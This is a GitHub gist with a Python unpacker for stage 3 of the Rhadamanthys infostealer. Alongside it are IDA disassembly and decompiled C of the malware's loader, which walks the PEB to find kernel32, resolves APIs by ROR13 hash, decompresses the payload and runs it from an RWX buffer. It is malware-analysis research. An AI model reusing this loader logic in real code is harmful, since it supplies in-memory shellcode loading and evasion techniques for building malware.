Skip to content

Instantly share code, notes, and snippets.

@oopsmishap
Last active March 18, 2023 16:10
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save oopsmishap/91f41810e41cecec7d7d3760bbc4ba67 to your computer and use it in GitHub Desktop.
Save oopsmishap/91f41810e41cecec7d7d3760bbc4ba67 to your computer and use it in GitHub Desktop.
Rhadamanthys stage3 unpacker
import struct
def extract_stage3(stage3_buffer):
# struct stage3_header
# {
# uint32_t magic;
# uint16_t block_count;
# uint16_t header_size;
# uint32_t entry_offset;
# uint32_t rwx_buffer_size;
# _BYTE junk[24];
# blocks_t blocks[];
# };
#
# struct blocks_t
# {
# uint32_t local_offset;
# uint32_t rwx_offset;
# uint32_t block_size;
# };
stage3_header = stage3_buffer[:16]
magic, block_count, header_size, entry_offset, rwx_size = struct.unpack('<LHHLL', stage3_header)
rwx_buffer = bytearray(0) * rwx_size
# copy header
rwx_buffer[0:header_size] = stage3_buffer[0:header_size]
# copy blocks
block_idx = 0x28
block_size = 0xC
for i in range(0, block_count):
block = stage3_buffer[block_idx:block_idx + block_size]
local_offset, rwx_offset, size = struct.unpack('<LLL', block)
rwx_buffer[rwx_offset:rwx_offset + size] = stage3_buffer[local_offset:local_offset + size]
block_idx += block_size
return entry_offset, bytes(rwx_buffer)
def unpack_stage3(stage3_buffer, buffer_size, stop_word):
# "somewhat" cleaned up IDA pseudocode output
v17 = 0
idx = 0
buffer_idx = 0
out_buffer = [0] * buffer_size
local_buffer = [0] * 0x1012
for i in range(0, 0xFEE):
local_buffer[i] = 0x20
local_idx = 0xFEE
while True:
while True:
v17 = (v17 >> 1) & 0xffffffff
if v17 & 0x100 == 0:
if idx == stop_word:
return buffer_idx
curr_byte = stage3_buffer[idx] | 0xff00
v17 = curr_byte
idx += 1
if v17 & 1 == 0:
break
if idx == stop_word:
return buffer_idx
out_buffer[buffer_idx] = stage3_buffer[idx]
buffer_idx = buffer_idx + 1
if buffer_idx >= buffer_size:
return buffer_idx
local_buffer[local_idx] = stage3_buffer[idx]
local_idx = (local_idx + 1) & 0xfff
idx += 1
if idx == stop_word or (idx + 1) == stop_word:
break
v9 = stage3_buffer[idx + 1]
v12 = (16 * (v9 & 0xF0)) | stage3_buffer[idx]
v10 = (v9 & 0xF) + 2
idx += 2
for j in range(0, v10 + 1):
v14 = local_buffer[(j + v12) & 0xFFF]
out_buffer[buffer_idx] = v14
buffer_idx += 1
if buffer_idx >= buffer_size:
break
local_buffer[local_idx] = v14
local_idx = (local_idx + 1) & 0xFFF
return buffer_idx, bytes(out_buffer)
STAGE3_OFFSET = 0x00020EA8
STAGE3_SIZE = 0x1CAE4
STOP_WORD = 0xFFDE
INPUT_PATH = r'./d4f37699c4b283418d1c73416436826e95858cf07f3c29e6af76e91db98e0fc0.bin'
OUTPUT_PATH = r'./stage3.bin'
with open(INPUT_PATH, 'rb') as f:
buf = f.read()
buf = buf[STAGE3_OFFSET:]
ret_size, stage_3 = unpack_stage3(buf, STAGE3_SIZE, STOP_WORD)
assert ret_size == STAGE3_SIZE, f'unpacked size mismatch, expected 0x{STAGE3_SIZE:x}, actual 0x{ret_size:x}'
entry_point, stage_3 = extract_stage3(stage_3)
with open(OUTPUT_PATH, 'wb') as ff:
ff.write(stage_3)
print(f'entrypoint : 0x{entry_point:x}')
// seg000:00020A68 ; ---------------------------------------------------------------------------
// seg000:00020A68
// seg000:00020A68 mw__rhadamthys__entry_point:
// seg000:00020A68 E8 23 00 00 00 call mw__rhadamthys__entry
// seg000:00020A68 ; ---------------------------------------------------------------------------
// seg000:00020A6D 90 curr_esp db 90h
// seg000:00020A6E 90 db 90h
// seg000:00020A6F 90 db 90h
// seg000:00020A70 40 04 00 00 entry_struct dd 440h
// seg000:00020A74 DE FF 00 00 dd 0FFDEh
// seg000:00020A78 E4 CA 01 00 dd 1CAE4h
// seg000:00020A7C 54 CA AF 91 dd 91AFCA54h ; VirtualAlloc hash
// seg000:00020A80 AC 33 06 03 dd 30633ACh ; VirtualFree hash
// seg000:00020A84 FA 97 02 4C dd 4C0297FAh ; LocalAlloc hash
// seg000:00020A88 F6 EA BA 5C dd 5CBAEAF6h ; LocalFree hash
// seg000:00020A8C 90 db 90h
// seg000:00020A8D 90 db 90h
// seg000:00020A8E 90 db 90h
// seg000:00020A8F 90 db 90h
struct entry_data_t
{
DWORD const_440h;
DWORD const_0FFDEh;
DWORD const_1CAE4h;
funcs_t kernel32_hash_table;
};
struct funcs_t
{
LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, MACRO_MEM, MACRO_PAGE);
BOOL (__stdcall *VirtualFree)(LPVOID, SIZE_T, DWORD);
HLOCAL (__stdcall *LocalAlloc)(UINT, SIZE_T);
HLOCAL (__stdcall *LocalFree)(HLOCAL);
};
struct __declspec(align(4)) blocks_t
{
uint32_t local_offset;
uint32_t rwx_offset;
uint32_t block_size;
};
struct shellcode_header
{
uint32_t magic;
uint16_t block_count;
uint16_t header_size;
uint32_t entry_offset;
uint32_t rwx_buffer_size;
_BYTE junk[24];
blocks_t blocks[];
};
void __stdcall resolve_imports(IMAGE_DOS_HEADER *base_image, DWORD *arg_hash_table, DWORD *arg_func_table)
{
IMAGE_NT_HEADERS *image_file_header; // eax
DWORD export_dir_va; // ecx
IMAGE_EXPORT_DIRECTORY *export_dir; // esi
char *functions; // edi
unsigned int func_hash; // eax
unsigned int number_of_hashes; // ecx
DWORD idx; // [esp+Ch] [ebp-8h]
unsigned __int16 *ordinals; // [esp+10h] [ebp-4h]
void *names; // [esp+1Ch] [ebp+8h]
if ( base_image->e_magic == 'ZM' )
{
image_file_header = (IMAGE_NT_HEADERS *)((char *)base_image + base_image->e_lfanew);
if ( image_file_header->Signature == 'EP' )
{
export_dir_va = image_file_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)base_image + export_dir_va);
if ( export_dir_va )
{
if ( image_file_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size )
{
idx = 0;
functions = (char *)base_image + export_dir->AddressOfFunctions;
if ( export_dir->NumberOfNames )
{
ordinals = (WORD *)((char *)&base_image->e_magic + export_dir->AddressOfNameOrdinals);
names = (char *)base_image + export_dir->AddressOfNames;
do
{
func_hash = hash_ror13_add((char *)base_image + *(_DWORD *)names);
number_of_hashes = 0;
while ( *arg_hash_table != func_hash )
{
++number_of_hashes;
++arg_hash_table;
if ( number_of_hashes >= 4 )
goto LABEL_12;
}
arg_func_table[number_of_hashes] = (DWORD)base_image + *(_DWORD *)&functions[4 * *ordinals];
LABEL_12:
++idx;
names = (char *)names + 4;
++ordinals;
}
while ( idx < export_dir->NumberOfNames );
}
}
}
}
}
}
uintptr_t __cdecl get_kernel32_base()
{
uintptr_t ret_value; // edi
struct _PEB_LDR_DATA *ldr; // eax
struct _LIST_ENTRY *module_list; // edx
_LIST_ENTRY *curr; // eax ```LDR_DATA_TABLE_ENTRY+8```
PWSTR dll_name; // ecx
ret_value = 0;
ldr = NtCurrentPeb()->Ldr;
if ( !ldr )
return ret_value;
module_list = &ldr->InMemoryOrderModuleList;
for ( curr = ldr->InMemoryOrderModuleList.Flink; curr != module_list; curr = curr->Flink )
{
if ( CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)->BaseDllName.Length == 24 )
{
dll_name = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)->BaseDllName.Buffer;
if ( (*dll_name == 'k' || *dll_name == 'K') && dll_name[8] == '.' )
return (uintptr_t)CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)->DllBase;
}
}
return ret_value;
}
int __stdcall unpack_stage3(
funcs_t *arg_kernel32_funcs,
BYTE *stage3_buffer,
DWORD stop_byte,
BYTE *out_buffer,
DWORD buffer_size)
{
unsigned int curr_byte; // eax
int idx; // [esp+0h] [ebp-28h]
int j; // [esp+4h] [ebp-24h]
BYTE v9; // [esp+8h] [ebp-20h]
int v10; // [esp+8h] [ebp-20h]
int i; // [esp+Ch] [ebp-1Ch]
__int16 v12; // [esp+Ch] [ebp-1Ch]
int lbuf_1_idx; // [esp+14h] [ebp-14h]
BYTE v14; // [esp+18h] [ebp-10h]
_BYTE *lbuf_1012h_2; // [esp+1Ch] [ebp-Ch]
int lbuf_2_idx; // [esp+20h] [ebp-8h]
unsigned int v17; // [esp+24h] [ebp-4h]
idx = 0;
lbuf_1_idx = 0;
lbuf_1012h_2 = arg_kernel32_funcs->LocalAlloc(LMEM_ZEROINIT, 0x1012);
if ( !lbuf_1012h_2 )
return lbuf_1_idx;
for ( i = 0; i < 0xFEE; ++i ) // fill 0xFFE buffer with ' '
lbuf_1012h_2[i] = ' ';
lbuf_2_idx = 0xFEE;
v17 = 0;
while ( 1 )
{
while ( 1 )
{
v17 >>= 1;
if ( (v17 & 0x100) == 0 )
{
if ( idx == stop_byte )
goto free_local_buffer;
curr_byte = stage3_buffer[idx];
BYTE1(curr_byte) = -1;
v17 = curr_byte;
++idx;
}
if ( (v17 & 1) == 0 )
break;
if ( idx == stop_byte )
goto free_local_buffer;
out_buffer[lbuf_1_idx] = stage3_buffer[idx];
if ( ++lbuf_1_idx >= buffer_size )
goto free_local_buffer;
lbuf_1012h_2[lbuf_2_idx] = stage3_buffer[idx];
lbuf_2_idx = ((_WORD)lbuf_2_idx + 1) & 0xFFF;
++idx;
}
if ( idx == stop_byte || idx + 1 == stop_byte )
break;
v9 = stage3_buffer[idx + 1];
v12 = (16 * (v9 & 0xF0)) | stage3_buffer[idx];
v10 = (v9 & 0xF) + 2;
idx += 2;
for ( j = 0; j <= v10; ++j )
{
v14 = lbuf_1012h_2[((_WORD)j + v12) & 0xFFF];
out_buffer[lbuf_1_idx] = v14;
if ( ++lbuf_1_idx >= buffer_size )
break;
lbuf_1012h_2[lbuf_2_idx] = v14;
lbuf_2_idx = ((_WORD)lbuf_2_idx + 1) & 0xFFF;
}
}
free_local_buffer:
(*(void (__stdcall **)(_BYTE *))((char *)&off_C + (_DWORD)arg_kernel32_funcs))(lbuf_1012h_2);// LocalFree
return lbuf_1_idx;
}
uintptr_t __stdcall mw::rhadamthys::entry::inner(entry_data_t *arg_entry_struct, int a2)
{
uintptr_t kernel32; // eax
BYTE *stage3_entry; // ebx
shellcode_header *local_buffer; // esi
BYTE *rwx_buffer; // eax MAPDST
blocks_t *lbuf_2; // edi
funcs_t kernel32_func_table; // [esp+Ch] [ebp-14h] BYREF
UINT const_1CAE4h; // [esp+28h] [ebp+8h]
kernel32 = get_kernel32_base();
stage3_entry = 0;
if ( !kernel32 )
return kernel32;
rwx_buffer = 0;
resolve_imports(
(IMAGE_DOS_HEADER *)kernel32,
(DWORD *)&arg_entry_struct->kernel32_hash_table,
(DWORD *)&kernel32_func_table);
kernel32 = (uintptr_t)kernel32_func_table.LocalAlloc(LMEM_ZEROINIT, arg_entry_struct->const_1CAE4h);// LocalAlloc
local_buffer = (shellcode_header *)kernel32;
if ( !kernel32 )
return kernel32;
const_1CAE4h = arg_entry_struct->const_1CAE4h;
if ( const_1CAE4h == unpack_stage3(
&kernel32_func_table,
(BYTE *)arg_entry_struct + arg_entry_struct->const_440h - 8,
arg_entry_struct->const_0FFDEh,
(BYTE *)kernel32,
arg_entry_struct->const_1CAE4h)
&& const_1CAE4h > 0x28
&& local_buffer->header_size > 0x28u )
{
rwx_buffer = (BYTE *)kernel32_func_table.VirtualAlloc(// VirtualAlloc
0,
local_buffer->rwx_buffer_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if ( rwx_buffer )
{
lbuf_2 = local_buffer->blocks;
memcpy(rwx_buffer, (BYTE *)local_buffer, local_buffer->header_size);
if ( local_buffer->block_count )
{
do
{
memcpy(&rwx_buffer[lbuf_2->rwx_offset], (BYTE *)local_buffer + lbuf_2->local_offset, lbuf_2->block_size);
++stage3_entry; // number of blocks
++lbuf_2;
}
while ( (unsigned __int16)stage3_entry < local_buffer->block_count );
}
stage3_entry = &rwx_buffer[local_buffer->entry_offset];
}
}
kernel32 = (uintptr_t)kernel32_func_table.LocalFree(local_buffer);
if ( stage3_entry )
return ((int (__stdcall *)(BYTE *, int))stage3_entry)(rwx_buffer, a2);
return kernel32;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment